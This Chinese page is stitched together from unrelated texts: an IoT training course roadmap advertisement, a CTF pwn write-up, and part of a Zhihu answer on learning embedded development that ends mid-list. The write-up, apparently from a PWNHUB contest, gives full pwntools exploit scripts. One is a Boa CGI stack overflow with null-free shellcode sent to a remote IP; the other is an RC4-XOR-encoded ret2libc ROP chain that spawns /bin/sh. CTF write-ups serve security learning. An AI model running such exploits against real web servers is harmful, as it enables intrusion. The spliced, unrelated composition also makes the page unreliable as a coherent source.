多在家自學(xué)物聯(lián)網(wǎng)的朋友,也許大部分的人都沒有一個基本的學(xué)習(xí)路線,在家里很盲目的學(xué)習(xí),結(jié)果花費(fèi)幾年的時間,還是感覺一無所成,原因就是沒有一個完整的學(xué)習(xí)路線!不管我們平時做什么事情,相信大家每個人應(yīng)該都是在自己的腦海里先規(guī)劃出一個計(jì)劃或者說一個路線,以免亂了思緒!
當(dāng)然對于學(xué)習(xí)來說,我們更應(yīng)該有一個完整的學(xué)習(xí)路線了!
千鋒教育經(jīng)過市場調(diào)研和當(dāng)前企業(yè)項(xiàng)目經(jīng)驗(yàn)總結(jié),撰寫了一套專業(yè)的物聯(lián)網(wǎng)課程學(xué)習(xí)路線,想要了解物聯(lián)網(wǎng)的學(xué)習(xí)路線,你看這個就足夠了!
第一階段:嵌入式高級C語言
Linux系統(tǒng)
Linux Ubuntu操作系統(tǒng)安裝、使用、Linux常用命令、samba服務(wù)器、SSH遠(yuǎn)程登錄、GCC編譯器、GDB調(diào)試器、VI編輯器
嵌入式C語言高級編程
1、C數(shù)據(jù)類型、控制語句
2、C程序結(jié)構(gòu)設(shè)計(jì)、數(shù)組、函數(shù)、預(yù)處理
3、指針及字符串操作
4、結(jié)構(gòu)體、共用體、宏、枚舉
5、文件I/O操作
數(shù)據(jù)結(jié)構(gòu)及算法
1、數(shù)據(jù)結(jié)構(gòu)之單向鏈表、雙向鏈表
2、數(shù)據(jù)結(jié)構(gòu)之隊(duì)列、棧
3、數(shù)據(jù)結(jié)構(gòu)之樹、圖
4、算法之各種排序(選擇法、冒泡法、插入法等)
5、遞歸
6、算法之二分查找
第二階段:嵌入式設(shè)備及GUI開發(fā)
嵌入式環(huán)境配置與開發(fā)工具學(xué)習(xí)
Linux下項(xiàng)目管理工具M(jìn)ake以及Makefile工作原理及其編寫Linux下shell腳本相關(guān)知識及其編寫嵌入式開發(fā)環(huán)境的基本概念及其搭建A53開發(fā)板介紹、設(shè)備使用、A53開發(fā)板與電腦通信、交叉編譯
GUI圖形界面開發(fā)
常用控件——button、label、text edit等常用布局方式——水平布局、垂直布局、固定布局、網(wǎng)格布局、相對布局等常用事件及信號處理技術(shù)——信息回調(diào)、鼠標(biāo)、鍵盤事件等時間編程、數(shù)據(jù)存儲、繪圖機(jī)制、定時器處理、多任務(wù)處理等
第三階段:嵌入式Linux高級程序設(shè)計(jì)
1、Linux系統(tǒng)調(diào)用概念
2、進(jìn)程相關(guān)概念、多進(jìn)程實(shí)現(xiàn)多任務(wù)開發(fā)
3、進(jìn)程間通信:無名管道、命名管道、信號、消息隊(duì)列、共享內(nèi)存等
4、多線程實(shí)現(xiàn)多任務(wù)開發(fā)
5、多任務(wù)的同步互斥開發(fā):互斥鎖、信號量
第四階段:Linux高級網(wǎng)絡(luò)程序設(shè)計(jì)
1、網(wǎng)絡(luò)相關(guān)概念及網(wǎng)絡(luò)發(fā)展
2、TCP/IP協(xié)議
3、socket編程、TCP網(wǎng)絡(luò)編程、UDP網(wǎng)絡(luò)編程、Web編程開發(fā)等
4、Linux網(wǎng)絡(luò)應(yīng)用程序開發(fā),Linux網(wǎng)絡(luò)編程相關(guān) 5、TCP協(xié)議服務(wù)器的編程方法和并發(fā)服務(wù)器的實(shí)現(xiàn)
6、HTTP協(xié)議及其實(shí)現(xiàn)方法,熟悉UDP廣播、多播的原理及編程方法,掌握混合C/S架構(gòu)網(wǎng)絡(luò)通信系統(tǒng)的設(shè)計(jì)
7、IPv6與IPv4協(xié)議,及其編程接口
8、網(wǎng)絡(luò)數(shù)據(jù)通信過程
9、網(wǎng)絡(luò)原始套接字概念及編程接口
第五階段:數(shù)據(jù)庫及web編程開發(fā)
數(shù)據(jù)庫及web編程開發(fā)
1、數(shù)據(jù)庫概念、數(shù)據(jù)庫類型
2、Sqlite數(shù)據(jù)庫介紹及其安裝與移植
3、SQL數(shù)據(jù)庫語言(數(shù)據(jù)定義語言(DDL)、數(shù)據(jù)操作語言(DML)、數(shù)據(jù)查詢語言(DQL)、數(shù)據(jù)控制語言(DCL))br 4、Sqlite數(shù)據(jù)庫C語言編程中的各種SQL指令執(zhí)行函數(shù)完成對數(shù)據(jù)庫的控制
5、HTML語言開發(fā)
6、Java語言開發(fā)
7、AJAX開發(fā)
8、cgi程序開發(fā)
第六階段:C++面向?qū)ο蟾呒壵Z言程序設(shè)計(jì)
1.熟悉面向?qū)ο蟮恼Z言概述
2.熟練掌握c++語言的基本知識和類與對象及其高級應(yīng)用
3、作用域運(yùn)算符、內(nèi)聯(lián)函數(shù)、強(qiáng)制類型轉(zhuǎn)換
4、new、delete內(nèi)存管理
5、對象成員、成員函數(shù)
6、構(gòu)造函數(shù)、析構(gòu)函數(shù)、拷貝構(gòu)造函數(shù)、函數(shù)重載
7、對象數(shù)組、this指針、枚舉、
8、靜態(tài)成員、靜態(tài)成員函數(shù)
9、對象成員
10、友元
11、封裝、繼承、多繼承、多態(tài)
12、虛函數(shù)、純虛函數(shù)、抽象類、虛析構(gòu)函數(shù) 等
第七階段:物聯(lián)網(wǎng)
1、了解物聯(lián)網(wǎng)、泛在網(wǎng)、互聯(lián)網(wǎng)基本要領(lǐng)及其關(guān)系
2、熟悉RFID從低頻段到高頻段的基本工作原理,以及RFID標(biāo)簽的種類與行業(yè)應(yīng)用,讀卡器原理與通信過程
3、熟悉TI的cc2530的基本應(yīng)用,包含基本硬件資源,協(xié)議棧相關(guān)接口使用,以及點(diǎn)對點(diǎn)通信、星形通信、廣播通信、綁定通信,三種網(wǎng)絡(luò)結(jié)構(gòu)star、tree、mesh,掌握zibgee相關(guān)微控制處理芯片
4、了解zigbe協(xié)議棧組成,以及zigbee在通信、組網(wǎng)、搖控等領(lǐng)域的不同應(yīng)用
5、通過Bluetooth、wifi和zigbee技術(shù)對比各自的優(yōu)缺點(diǎn),并重點(diǎn)介紹zigbee的各種應(yīng)用
6、掌握溫度、濕度、光照、PH值、二氧化碳等傳感器的工作原理及通信接口
7、了解NB-IOT基本概念及移運(yùn)BC95模塊
8、熟悉CoAP協(xié)議在NB-IOT中的應(yīng)用
9、掌握常用AT指定集
第八階段:CortexA53 Linux平臺驅(qū)動開發(fā)
1、了解ARM處理器基本特征及工作原理
2、掌握ARM裸機(jī)程序開發(fā)以及裸機(jī)編譯工具的使用
3、嵌入式Bootloader原理分析及其移植
4、嵌入式Linux內(nèi)核結(jié)構(gòu)分析及其移植
5、掌握嵌入式Linux根文件系統(tǒng)組成分析及其制作過程
6、掌握嵌入式Linux三大類設(shè)備驅(qū)動基本概念
7、掌握Linux字符驅(qū)動框架及GPIO輸入輸出驅(qū)動
8、Linux中斷機(jī)制處理及響應(yīng)過程
9、Linux下SPI/IIC/UART串行通信技術(shù)驅(qū)動編寫與應(yīng)用
10、Linux下input設(shè)備驅(qū)動框架介紹
11、Linux下platform機(jī)制設(shè)備驅(qū)動框架介紹
12、Linux下kfifo緩沖機(jī)制、并發(fā)與競態(tài)(如互斥鎖與信息號等)講解
13、Linux驅(qū)動中的阻塞與非阻塞
14、Linux下塊設(shè)備驅(qū)動框架——RAMdisk驅(qū)動實(shí)例編寫
15、USB設(shè)備硬件設(shè)計(jì)原理、驅(qū)動協(xié)議架構(gòu)、驅(qū)動開以流程
16、了解Linux設(shè)備驅(qū)動模型(kobject、kset、子系統(tǒng)、底層sysfs操作、虛擬總線等)
第九階段:項(xiàng)目實(shí)操
項(xiàng)目一:智能家居項(xiàng)目
本項(xiàng)目實(shí)現(xiàn)設(shè)備的本地控制與遠(yuǎn)程控制,對開關(guān)量設(shè)備,能夠?qū)崿F(xiàn)信息采集類設(shè)備的控制如溫濕度,能夠?qū)崿F(xiàn)監(jiān)控類設(shè)備的控制如視頻監(jiān)控,安全系統(tǒng)如外人入侵能夠自動通過GPRS報(bào)警。項(xiàng)目涉及技術(shù)c語言、多任務(wù)開發(fā)、網(wǎng)絡(luò)socket開發(fā)、boa網(wǎng)絡(luò)服務(wù)器、CGI編程、html網(wǎng)頁設(shè)計(jì)等
項(xiàng)目二:智能人臉識別項(xiàng)目
本項(xiàng)目首先通過opencv庫的使用來實(shí)現(xiàn)人臉基本訓(xùn)練模型檢測、再深入學(xué)習(xí)通過人臉識別以及實(shí)時抓取圖像分析并識別,了解認(rèn)識opencv、dlib等開源工具
物聯(lián)網(wǎng)的學(xué)習(xí)從來都不是那么簡單的,不要想著一下就成材,先從基礎(chǔ)開始學(xué)習(xí),慢慢加深!
次的 PWNHUB 內(nèi)部賽的兩道題目都不是常規(guī)題,babyboa 考察的是 Boa Webserver 的 cgi 文件的利用,美好的異或考察的則是通過逆向分析解密函數(shù)來構(gòu)造棧溢出 ROP。兩道題目的考點(diǎn)都非常新穎,其中第一道題更是結(jié)合了 Web,值得大家復(fù)現(xiàn)學(xué)習(xí)。私信回復(fù):資料!
這道題的外表就是一個 Web 頁面
但是實(shí)際上他的主要內(nèi)容都在 cgi 文件中
cgi 文件是使用靜態(tài)編譯的,這在線下比賽的題目中是非常常見的,所以學(xué)會如何還原靜態(tài)庫的符號信息非常重要,所以這里我們第一步先嘗試著還原靜態(tài)庫的符號信息。
還原靜態(tài)庫的信息一般用的是 IDA 提供的 FLIRT,這是一種函數(shù)識別技術(shù),即庫文件快速識別與鑒定技術(shù)(Fast Library Identification and Recognition Technology)。可以通過 sig 文件來讓 IDA 在無符號的二進(jìn)制文件中識別函數(shù)特征,并且恢復(fù)函數(shù)名稱等信息,大大增加了代碼的可讀性,加快分析速度。
而標(biāo)準(zhǔn)庫的 sig 文件也有現(xiàn)成制作好的,在https://github.com/push0ebp/sig-database中下載,并且把文件導(dǎo)入到 IDA/sig/pc 中就能夠使用,我這里為了快速找到我們導(dǎo)入的 sig 文件,將該文件夾中原有的文件都放到了 bak 目錄下,把我們猜測可能會用到的符號文件放置到目錄下
導(dǎo)入后再在 IDA 中按 Shift + F5,打開“List of applied library modules”頁面
然后再按 INS 并選擇要自動分析特征還原的靜態(tài)庫文件
我這里測試多次后選擇的是 Ubuntu 16.04 libc6(2.23-0ubuntu6/amd64),如果你不知道靜態(tài)編譯使用的是哪個版本的庫文件,可以嘗試多導(dǎo)入幾個版本的文件進(jìn)行測試。
導(dǎo)入之后可以看到識別到了 623 個函數(shù),并且大部分函數(shù)都有了名稱
在 Web 頁面中輸入密碼可以抓到如下的包
也就是實(shí)際上 Web 頁面就是用來向后端的 cgi 傳遞參數(shù),并且在 cgi 中判斷密碼信息
main 函數(shù)中分別判定了 REQUEST_METHOD 和 QUERY_STRING 是否正確,這兩個參數(shù)分別代表的是訪問的模式和傳遞的參數(shù),在上面例子中應(yīng)該是 GET 和 password=wjh。
通過初步的判斷之后,就把參數(shù)的 127 字節(jié)復(fù)制到 bss 段上的一塊內(nèi)容上,并且通過 handle 函數(shù)來處理參數(shù)信息。
在這個函數(shù)中先把棧上的數(shù)據(jù)清 0,再把參數(shù)從第 9 位開始復(fù)制到棧上,從九位開始的原因是為了從 password=wjh 中取出 wjh 這個字符串用于判斷,因?yàn)檫@個才是 Web 中真正輸入的密碼信息。
在棧上儲存參數(shù)信息的只有 0x80 個字節(jié),但是在前面獲取參數(shù)的時候?qū)﹂L度沒有限制,所以我們只要在參數(shù)中避免\x00 ,就可以造成棧溢出來進(jìn)行后續(xù)的利用。
但是沒有\(zhòng)x00 想要構(gòu)造出 ROP 實(shí)在是不能夠想象(因?yàn)榈刂分锌隙〞衆(zhòng)x00 數(shù)據(jù)),所以我這個時候?qū)Τ绦蜻M(jìn)行了 checksec
發(fā)現(xiàn)在程序中的保護(hù)是全關(guān)的,并且在進(jìn)入 handle 函數(shù)之前有復(fù)制我們傳入的參數(shù)到 bss 段上,這意味著我們只需要把返回地址修改為 bss 段上的參數(shù),并且把這一段參數(shù)構(gòu)成為沒有\(zhòng)x00 的 shellcode,就可以執(zhí)行 shellcode 控制程序流程。
有了上述的思想之后,我們只需要考慮的就是如何構(gòu)造 shellcode,以及如何調(diào)試等這些細(xì)節(jié)上的問題。
由于程序就是 amd64 架構(gòu)的程序,所以我們實(shí)際上能夠直接的執(zhí)行這個文件,但是由于我們沒有傳入?yún)?shù)的兩個環(huán)境變量,所以我們也無法成功進(jìn)入 handle 函數(shù)流程。
我這里使用的方法是直接 nop 掉 GET 參數(shù)的那部分判斷,然后 patch getenv(“QUERY_STRING”)為 read 函數(shù),具體的匯編代碼如下。
程序中的 .eh_frame 這段空間是有執(zhí)行權(quán)限的,如果直接 patch 程序的字節(jié)不夠?qū)崿F(xiàn)我們想要的功能,那么我們只需要直接在這段空間上寫匯編代碼,并且使想要 patch 的地方 call 這個地址即可,并且在修改之后返回到原來的位置。
而且 getenv 函數(shù)是以 rax 作為返回的值,內(nèi)容是一個指向返回?cái)?shù)據(jù)的指針,所以我們自己寫的這個函數(shù)也需要實(shí)現(xiàn)這樣的一個功能,我隨便在 bss 段上找了一段空間,并且用 sys_read 讀取內(nèi)容,經(jīng)過這樣的修改我就可以成功的調(diào)試。
這里的 shellcode 比起之前所遇到的一些 shellcode 編寫的題目要簡單的多,關(guān)鍵點(diǎn)就在于這里的 shellcode 只需要沒有\(zhòng)x00 即可,因?yàn)橛辛薥x00 就會截?cái)?Web 數(shù)據(jù)包的后續(xù)內(nèi)容,導(dǎo)致 BOA Web 服務(wù)器無法正常的解析。
接下來只需要正常的編寫 shellcode 即可,一般可能會遇到\x00 的地方就是引用一個內(nèi)存地址,由于地址常常是 0x400000 這樣的,最高的兩個字節(jié)是\x00。我這里用的方法是異或 0x01010101 來避免地址最高兩位的\x00。
orw 部分的 shellcode 直接用 pwntools 生成即可,使用以下命令就可以自動的生成出代碼
pwnlib.shellcraft.amd64.linux.cat("/flag")
除了用 cat 的方法,也可以考慮使用反彈 shell 的方法,這樣的話也就不用考慮到 502 報(bào)錯的問題,因?yàn)椴恍枰?flag 的回顯內(nèi)容。
回答這個問題的答案,就有些接近現(xiàn)實(shí)生活中的 PWN 的意味了,這也就是為了我需要專門寫 Writeup 來說明這道題目。這個問題是讓我糾結(jié)很久的一個問題,直到我下載了 BOA 的源碼查看,我找到了它報(bào)錯 502 的位置。
這一段是 BOA 的源碼,我發(fā)現(xiàn)當(dāng)他判斷 cgi 文件中沒有\(zhòng)n\r\n 或者\(yùn)n\n 這樣的字符串的時候,就會報(bào)錯 502。
而正常來說 cgi 文件中一定是會返回這樣的字符串的,所以會運(yùn)行正常。但是在 cgi 文件發(fā)生異常退出的時候,并沒有把緩沖區(qū)中的數(shù)據(jù)進(jìn)行輸出,常規(guī)的 pwn 題都會在題目中使用 setbuf 來設(shè)置緩沖區(qū)的長度為 0,使得程序可以實(shí)時輸出。而如果程序有緩沖區(qū)的話,直到緩沖區(qū)滿了或者執(zhí)行_IO_fflush 才會把數(shù)據(jù)內(nèi)容全部輸出。
在常規(guī)的程序中,雖然沒有顯式的去調(diào)用_IO_flush,但是默認(rèn)會使用 _libc_start_main 來啟動函數(shù),而 exit 在_libc_start_main 中被自動調(diào)用,并且在 exit 又有去調(diào)用函數(shù)來檢查每個緩沖區(qū)中是否有內(nèi)容,如果存在內(nèi)容則輸出內(nèi)容,所以這使得緩沖區(qū)的內(nèi)容一定被輸出。
綜上所述,我們需要在 shellcode 之后再加入一段代碼使其調(diào)用 exit 來正常的退出程序,使得緩沖區(qū)被輸出。
from pwn import *
context.log_level="debug"
context.arch="amd64"
def test(payload):
sh=remote('47.99.38.177', 20001)
data='''GET /cgi-bin/Auth.cgi?{0} HTTP/1.1
Host: 47.99.38.177:20001
Connection: keep-alive
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
'''.format(payload)
sh.send(data)
sh.interactive()
DEBUG=False
exit_addr=0x400e26
shellcode_addr=0x6D26C0
shellcode='''
mov eax, 0x01410f27;
xor eax, 0x01010101;
jmp rax;
'''
shellcode=pwnlib.shellcraft.amd64.linux.cat("/flag") + shellcode
shellcode=asm(shellcode).ljust(0x50, '\x90')
payload=shellcode + 'a' * (0x91 - len(shellcode)) + '\xC0\x26\x6D'
if DEBUG:
sh=process('./Auth.cgi')
gdb.attach(sh, "b *0x0000000000400AD5")
sh.sendafter("charset:utf-8", payload)
sh.interactive()
else:
test(payload)
執(zhí)行腳本之后 flag 存在于所有數(shù)據(jù)之前,這是因?yàn)橹苯油ㄟ^ orw shellcode 輸出的 flag 數(shù)據(jù)不需要經(jīng)過緩沖區(qū),而其他數(shù)據(jù)在執(zhí)行 exit 過程中才從緩沖區(qū)中輸出,這正印證了我們之前的想法。
這道題目其實(shí)考察的是 逆向算法 + 簡單的棧溢出
可以先看看幾個函數(shù)分別干了什么
其實(shí)看到這幾個函數(shù),就可以大概猜到程序的加密是使用的魔改的 RC4 加密(把 RC4 加密中的 0x100 改為了 0x200)。
識別 RC4 加密的關(guān)鍵實(shí)際上就在于它的初始化秘鑰代碼,也就是循環(huán)對 s[i]進(jìn)行賦值,賦值的內(nèi)容就是為 i,另一個特征就是他的交換過程中的計(jì)算出的下標(biāo)(s[i] + k[i] + v1) % 0x100,只需要看到類似的交換代碼,就可以直接確定是 RC4 加密。
但由于 RC4 加密的本質(zhì)操作就是通過得到異或數(shù)據(jù)進(jìn)行異或,所以我們實(shí)際上只需要動態(tài)調(diào)試得到異或的數(shù)據(jù)并記錄即可,在加解密的時候不需要考慮是什么加密,只需要對操作的內(nèi)容進(jìn)行異或。
下面這一段就是對內(nèi)容進(jìn)行異或運(yùn)算,encode 函數(shù)經(jīng)過混淆代碼非常的復(fù)雜,但是我們實(shí)際上通過前面的函數(shù)就可以猜測到這個函數(shù)的功能,也就是將數(shù)據(jù)進(jìn)行異或。
因?yàn)楫惢虻臄?shù)據(jù)是固定的,所以實(shí)際上這里傳入的數(shù)據(jù)如果全都是\x00,就可以直接得到異或的秘鑰,我覺得這里的實(shí)現(xiàn)是存在一定的問題的,這使得對代碼的分析實(shí)際并不必要,只需要提取出異或的內(nèi)容即可。
我這里編寫程序來提取出異或的數(shù)據(jù)
#include <cstdio>
#include <cstring>
unsigned int sz[10];
void rc4_init(unsigned int* s, unsigned char* key, unsigned long Len)
{
int i=0, j=0;
unsigned char k[0x200]={ 0 };
unsigned int tmp=0;
for (i=0; i < 0x200; i++)
{
s[i]=i;
k[i]=key[i % Len];
}
for (i=0; i < 0x200; i++)
{
j=(j + s[i] + k[i]) % 0x200;
tmp=s[i];
s[i]=s[j];
s[j]=tmp;
}
}
void rc4_crypt(unsigned int* s, unsigned int* Data, unsigned long Len)
{
int i=0, j=0, t=0;
unsigned long k=0;
unsigned int tmp;
for (k=0; k < Len; k++)
{
i=(i + 1) % 0x200;
j=(j + s[i]) % 0x200;
tmp=s[i];
s[i]=s[j];
s[j]=tmp;
t=(s[i] + s[j]) % 0x200;
Data[k] ^=s[t];
}
}
int main()
{
unsigned int s[0x200];
unsigned char key[]="freedomzrc4rc4jwandu123nduiandd9872ne91e8n3n27d91cnb9496cbaw7b6r9823ncr89193rmca879w6rnw45232fc465v2vt5v91m5vm0amy0789";
int key_len=strlen((char *)key);
for (int i=0; key[i]; i++)
key[i]=6;
rc4_init(s, key, key_len);
rc4_crypt(s, sz, 10);
for (int i=0; i < 10; i++)
printf("0x%02X, ", sz[i] % 0x100);
return 0;
}
異或之后的內(nèi)容,前八位是數(shù)據(jù)位,后兩位是校驗(yàn)位。我們只需要根據(jù)程序的邏輯正向的推出數(shù)據(jù)的校驗(yàn)位即可。
異或之后賦值給棧上的數(shù)組,并且由于之前讀入的數(shù)據(jù)長度是 0xE0,計(jì)算后發(fā)現(xiàn)實(shí)際上超出了棧空間的大小,從而產(chǎn)生了棧溢出。由于程序沒有開 pie,所以這里就是 ret2csu + ret2libc 即可。直接在 bss 段上寫/bin/sh\x00,pop rdi 賦值 rdi 后,然后再調(diào)用 system 就可以 getshell。
這里有個不清楚的問題就是如果我直接調(diào)用 plt 上的 system,本地可以直接打通,但是遠(yuǎn)程會報(bào)錯。如果有師傅知道這個問題的原因麻煩指教一下,因此我這里最后是借助程序本身使用的 system 那段 gadget 來執(zhí)行 system,發(fā)現(xiàn)可以正常執(zhí)行。
from pwn import *
elf=None
libc=None
file_name="./main"
# context.timeout=1
def get_file(dic=""):
context.binary=dic + file_name
return context.binary
def get_libc(dic=""):
libc=None
try:
data=os.popen("ldd {}".format(dic + file_name)).read()
for i in data.split('\n'):
libc_info=i.split("=>")
if len(libc_info)==2:
if "libc" in libc_info[0]:
libc_path=libc_info[1].split(' (')
if len(libc_path)==2:
libc=ELF(libc_path[0].replace(' ', ''), checksec=False)
return libc
except:
pass
if context.arch=='amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
elif context.arch=='i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
except:
libc=ELF("/lib32/libc.so.6", checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc=ELF("./libc.so.6", checksec=False)
if Use_ssh:
s=ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
return s.process(file_name)
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string !=None:
sh.recvuntil(start_string)
if libc==True:
return_address=u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address=int(sh.recvuntil(end_string, drop=True), 16)
elif address_len !=None:
return_address=u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch=='amd64':
return_address=u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address=u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset !=None:
return_address=return_address + offset
if info !=None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
def get_gdb(sh, gdbscript=None, addr=0, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript=gdbscript)
elif addr is not None:
text_base=int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
log.success("breakpoint_addr --> " + hex(text_base + addr))
gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
else:
gdb.attach(sh)
if stop:
raw_input()
def Attack(target=None, sh=None, elf=None, libc=None):
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh=target.sh
elf=target.elf
libc=target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count=0
while try_count < 3:
try_count +=1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
if target is not None:
sh=target.get_sh()
target.sh=sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh=get_sh()
flag=get_flag(sh)
return flag
def encode(data):
all_data=""
for i in range(len(data) // 8):
xor_data=[0x67, 0x3A, 0xDB, 0x9F, 0x21, 0x84, 0xDD, 0x24, 0x7C, 0x15]
d=[ord(data[i * 8 + j]) for j in range(8)]
s=((d[7] + (d[6] << 8) + d[5] + (d[4] << 8) + d[3] + (d[2] << 8) + d[1] + (d[0] << 8)) >> 31) >> 24
c=((s + d[7] + d[5] + d[3] + d[1]) & 0xff - s + 0x100) & 0xff
d=data[i * 8: (i + 1) * 8] + p16(c)
all_data +=''.join(chr(ord(d[i]) ^ xor_data[i]) for i in range(10))
return all_data
def pwn(sh, elf, libc):
context.log_level="debug"
pop_rdi_addr=0x42cd13
buf_addr=0x68F2C0
sh_data='/bin/sh\x00\x7C\x71' * (0x68 // 8)
# sh_data='sh\x00\x00\x00\x00\x00\x00\x7C\x8C' * (0x68 // 8)
payload=p64(pop_rdi_addr) + p64(buf_addr) + p64(0x40099B)
payload=sh_data + encode(payload)
# gdb.attach(sh, "b *0x0000000000400B9D")
sh.sendafter('enter:', payload)
sh.interactive()
if __name__=="__main__":
sh=get_sh()
flag=Attack(sh=sh, elf=get_file(), libc=get_libc())
sh.close()
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
這次的 babyboa 這道題目是我最接近現(xiàn)實(shí)生活中的漏洞利用的一次,也嘗試了像反彈 shell 這樣的操作。畢竟 CTF 中的 pwn 題目和現(xiàn)實(shí)生活中的二進(jìn)制漏洞相差甚遠(yuǎn),通過這樣慢慢的嘗試和努力,希望可以讓我從做題走向現(xiàn)實(shí)生活這個大靶場,挖掘出真正的漏洞,試試私信回復(fù)資料。
乎問題:
求問如何學(xué)習(xí)嵌入式開發(fā)?
本人電氣小白,目前正在自學(xué)嵌入式軟件開發(fā),對單片機(jī)不甚了解,只知道二進(jìn)制0和1,也能理解程序說白了就是無數(shù)個選擇(既0和1)組成的,但單片機(jī)內(nèi)部電路長什么樣子,程序?qū)戇M(jìn)去后又變成了什么樣子,單片機(jī)c語言程序的組成有哪些(如控制邏輯,存放地址等等),完全一模一樣的c語言程序能否寫入不同的單片機(jī)中,求大佬們解答一二。
下面是答主“cdfarsight”的高贊回答,讓我們一起來學(xué)習(xí)一下圈內(nèi)大佬是怎么學(xué)習(xí)嵌入式的吧!
01
前言
近幾年,嵌入式系統(tǒng)產(chǎn)品漸漸完善,并在全世界各行業(yè)得到廣泛應(yīng)用。2004年,全球嵌入式系統(tǒng)產(chǎn)品的產(chǎn)值已達(dá)2000億美元,國內(nèi)嵌入式軟件的產(chǎn)值也達(dá)到600億人民幣。目前,嵌入式系統(tǒng)產(chǎn)品的研制和應(yīng)用已經(jīng)成為我國信息化帶動工業(yè)化、工業(yè)化促進(jìn)信息化發(fā)展的新的國民經(jīng)濟(jì)增長點(diǎn)。
隨著消費(fèi)家電的智能化,普及化,嵌入式應(yīng)用逐漸凸顯。日常生活離不開的的手機(jī)、平板、智能音響、數(shù)字相機(jī)、機(jī)頂盒、穿戴設(shè)備、智能玩具也在不斷地推陳出新;汽車電子、智能家電、醫(yī)療器械等領(lǐng)域也是競爭激烈。據(jù)預(yù)測,隨著Internet的迅速發(fā)展和廉價微處理器的出現(xiàn),嵌入式領(lǐng)域?qū)@得飛速的發(fā)展。
02
學(xué)習(xí)路線
對于入門不久的新人來說,好的學(xué)習(xí)路線往往能事半功倍。排除掉專業(yè)領(lǐng)域的深耕式學(xué)習(xí),那么一個合格的嵌入式軟件工程師應(yīng)當(dāng)具備哪些技能亦或者素質(zhì)呢?筆者覺得可以從以下幾個方面入手:
A 嵌入式軟件編程的基礎(chǔ)
這一階段重點(diǎn)打好嵌入式軟件編程的基礎(chǔ),包括學(xué)習(xí)Linux系統(tǒng)的基本應(yīng)用,Linux的常用命令、C語言編程基礎(chǔ)、常用的數(shù)據(jù)結(jié)構(gòu)。
特別是C語言中對指針的理解和應(yīng)用。這一階段的主要目的是學(xué)習(xí)編程語言、開發(fā)環(huán)境、和培養(yǎng)自己的編程思維,為進(jìn)一步學(xué)習(xí)嵌入式開發(fā)打下良好的基礎(chǔ)。必學(xué)內(nèi)容有:Linux Ubuntu操作系統(tǒng)安裝、使用、Linux常用命令、samba服務(wù)器、SSH遠(yuǎn)程登錄GCC編譯器、GDB調(diào)試器、VI編輯器
1)嵌入式C語言基本語法,指針及數(shù)組操作;
2)C語言高級語法:結(jié)構(gòu)體、共用體、宏、枚舉;
3)數(shù)據(jù)結(jié)構(gòu);
4)Linux系統(tǒng)基本使用及配置;
5)Linux下Makefile工作原理及其編寫;
6)Linux下shell腳本相關(guān)知識及其編寫;
推薦的嵌入式學(xué)習(xí)書籍:《C程序設(shè)計(jì)語言》《大話數(shù)據(jù)結(jié)構(gòu)》《Linux與Unix Shell 編程指南》《Linux就該這么學(xué)》
B 嵌入式Linux高級程序設(shè)計(jì)
這一階段主要學(xué)習(xí)上層的嵌入式Linux應(yīng)用程序開發(fā),包括基于Linux多進(jìn)程、多線程、文件與目錄。掌握進(jìn)程和線程編程思想才是打開技術(shù)學(xué)習(xí)的大門,不然永遠(yuǎn)是停留在語法、算法層面,無法深入解決眾多實(shí)際問題。
1)Linux系統(tǒng)調(diào)用概念;
2)文件I/O操作相關(guān)函數(shù)使用;
3)進(jìn)程相關(guān)概念、及基本控制函數(shù);
4)無名管道、命名管道、信號、消息隊(duì)列、共享內(nèi)存、信號量集合;
5)多進(jìn)程、多線程實(shí)現(xiàn)多任務(wù)開發(fā);
6)多任務(wù)的同步互斥開發(fā):互斥鎖、自旋鎖、讀寫鎖、信號量、條件變量;
這一階段推薦書籍:《UNIX環(huán)境高級編程》《嵌入式Linux應(yīng)用程序開發(fā)詳解》
C Linux高級網(wǎng)絡(luò)程序設(shè)計(jì)
這一階段主要掌握網(wǎng)絡(luò)應(yīng)用的CS架構(gòu)編程方法,套接字編程接口及框架;同時掌握必要的數(shù)據(jù)庫操作及函數(shù),具備系統(tǒng)編程的綜合素質(zhì)。這一階段的主要內(nèi)容有:
1)網(wǎng)絡(luò)相關(guān)概念及網(wǎng)絡(luò)發(fā)展
2)socket編程、TCP網(wǎng)絡(luò)編程、UDP網(wǎng)絡(luò)編程、Web編程開發(fā)等
3)Linux網(wǎng)絡(luò)應(yīng)用程序開發(fā),和并發(fā)CS服務(wù)器的實(shí)現(xiàn)
4)熟悉UDP廣播、多播的原理及編程方法;
5)網(wǎng)絡(luò)原始套接字概念及編程接口,及套接字屬性設(shè)置;
6)HTTP協(xié)議及其實(shí)現(xiàn)方法;
